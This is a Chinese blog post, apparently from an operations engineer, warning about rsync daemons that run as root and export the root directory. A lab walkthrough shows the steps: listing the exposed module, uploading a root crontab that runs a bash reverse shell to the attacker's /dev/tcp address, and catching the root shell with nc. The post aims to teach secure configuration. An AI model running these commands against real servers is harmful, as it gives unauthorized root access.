• 攻击你,与你何干!rsync你还敢这么玩?


    rsync同步服务反弹shell

    rsync服务/命令在企业中运用非常广泛,主要是轻量、便捷、高效。在数据同步中,不管是做服务还是命令使用,都非常方便、快速。

    但是在日常运维中,往往会发现很多开发或者运维人员,一味的图简单,把一些老生常谈的安全注意事项抛之脑后,最终酿成大祸!

    下面说说之前做服务器安全评估遇到的真事。某业务线的运维同事因为需要经常在多台服务器之间同步文件,而且是不同项目文件。为了偷懒,不想多写同步模块,所以他在编辑配置文件时,直接将/目录发布出去了。最后被我们研发中心扫描出来,季度绩效也因此评为C。

    有小伙伴可能会疑惑,这会有什么风险呢?下面我在实验环境还原一下他当时的环境,以及可能会遇到的风险。

    配置同步服务器(被攻击服务器)

    # 安装rsync:
    ~]# yum install rsync -y
    # 编辑配置文件:
    ~]# cat /etc/rsyncd.conf 
     uid = root
     gid = root
     use chroot = yes
     max connections = 4
     pid file = /var/run/rsyncd.pid
     exclude = lost+found/
     transfer logging = yes
     timeout = 900
     ignore nonreadable = yes
     dont compress   = *.gz *.tgz *.zip *.z *.Z *.rpm *.deb *.bz2
    read only = false
    
    [ftp]
            # 这点是重点,要发布的同步目录
            path = /
            comment = ftp export area
    
    # 启动rsyncd服务:
    ~]# systemctl start rsyncd
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    这个配置文件有两个危险指令,一个是 uidgidroot,他设置为 root是为了同步文件方便,不需要考虑文件权限问题;二是开放根目录,这两个配置直接会导致后面的问题!

    配置攻击服务器

    rsync服务器默认是监听873端口,通过nmap工具可以很方便扫描到,这里不再演示。

    # 查看同步服务器开放的同步模块,下面可以看到开放了`ftp`模块
    ~]# rsync rsync://192.168.75.121
    ftp             ftp export area
    
    # 具体看下ftp模块中提供了那些目录文件。下面可以看到整个根都发布出来了!
    ~]# rsync rsync://192.168.75.121/ftp
    dr-xr-xr-x            247 2022/08/16 16:45:37 .
    lrwxrwxrwx              7 2021/10/13 14:00:20 bin
    lrwxrwxrwx              7 2021/10/13 14:00:20 lib
    lrwxrwxrwx              9 2021/10/13 14:00:20 lib64
    lrwxrwxrwx              8 2021/10/13 14:00:20 sbin
    dr-xr-xr-x          4,096 2021/10/13 14:05:43 boot
    drwxr-xr-x             17 2022/08/16 16:45:37 data
    drwxr-xr-x          3,300 2022/08/15 15:03:13 dev
    drwxr-xr-x          8,192 2022/08/16 17:31:47 etc
    drwxr-xr-x             18 2022/08/16 15:16:45 home
    drwxr-xr-x              6 2018/04/11 12:59:55 media
    drwxr-xr-x              6 2018/04/11 12:59:55 mnt
    drwxr-xr-x             78 2022/08/15 15:38:54 opt
    dr-xr-xr-x              0 2022/08/15 15:03:05 proc
    dr-xr-x---            233 2022/08/16 17:19:47 root
    drwxr-xr-x            860 2022/08/16 17:31:47 run
    drwxr-xr-x              6 2018/04/11 12:59:55 srv
    dr-xr-xr-x              0 2022/08/15 15:03:10 sys
    drwxrwxrwt          4,096 2022/08/16 17:36:21 tmp
    drwxr-xr-x            155 2021/10/13 14:00:20 usr
    drwxr-xr-x            267 2021/10/13 14:02:35 var
    drwx------             19 2022/08/16 14:28:46 www
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    配置反弹shell

    反弹shell在之前的文章中详细讲到过,这里不再赘述。因为rsync同步服务器直接把根发布出来了,所以比之前通过redis服务攻击更加简单了。只需创建一个root的计划任务文件,然后同步过去即可。

    # 创建root计划任务文件
    ~]# cat > root <
    * * * * * bash -i &>/dev/tcp/192.168.75.123/8888 0>&1
    > EOF
    
    # 同步到被攻击服务器,放置到计划任务目录:
    ~]# rsync -av root rsync://192.168.75.121/ftp/var/spool/cron/
    
    # 安装nc工具:
    yum  install nmap -y
    # 设置监听端口,等待被攻击服务器连接即可:
    ~]# nc -lvnp 8888
    Ncat: Version 7.50 ( https://nmap.org/ncat )
    Ncat: Listening on :::8888
    Ncat: Listening on 0.0.0.0:8888
    Ncat: Connection from 192.168.75.121.
    Ncat: Connection from 192.168.75.121:36320.
    bash: no job control in this shell
    # 可以看到已经顺利拿到被攻击服务器的shell了!
    [root@192-168-75-121 ~]# exit
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    没出事之前,觉得危险离自己很远,出事之后,才会发现危险就在身边。老生常谈的安全问题一定要注意,切不可一味的贪图简单,而放大文件、服务器的权限。

    你要是喜欢这篇文章的话,帮忙点赞呀,你的喜欢就是我原创的动力!关注我的公众号(运维朱工)获取最近更新!

  • 相关阅读:
    vue 瀑布流布局 复制即用
    第八章 磁盘存储器的管理 【操作系统】
    鸿蒙OS应用开发初体验
    从零开始vue
    太空射击第15课: 道具
    十一.EtherCAT开发之microchip MCU D51+ LAN9253 的开发FOE应用(SPI directly 模式)
    R语言遍历文件夹求取其中所有栅格文件的平均值
    17.Java的反射机制
    基于瑞萨RZ/G2L存储读写速度与网络实测
    27、JavaScript学习笔记——查看及操控窗口
  • 原文地址:https://blog.csdn.net/Lu_tixia/article/details/126592772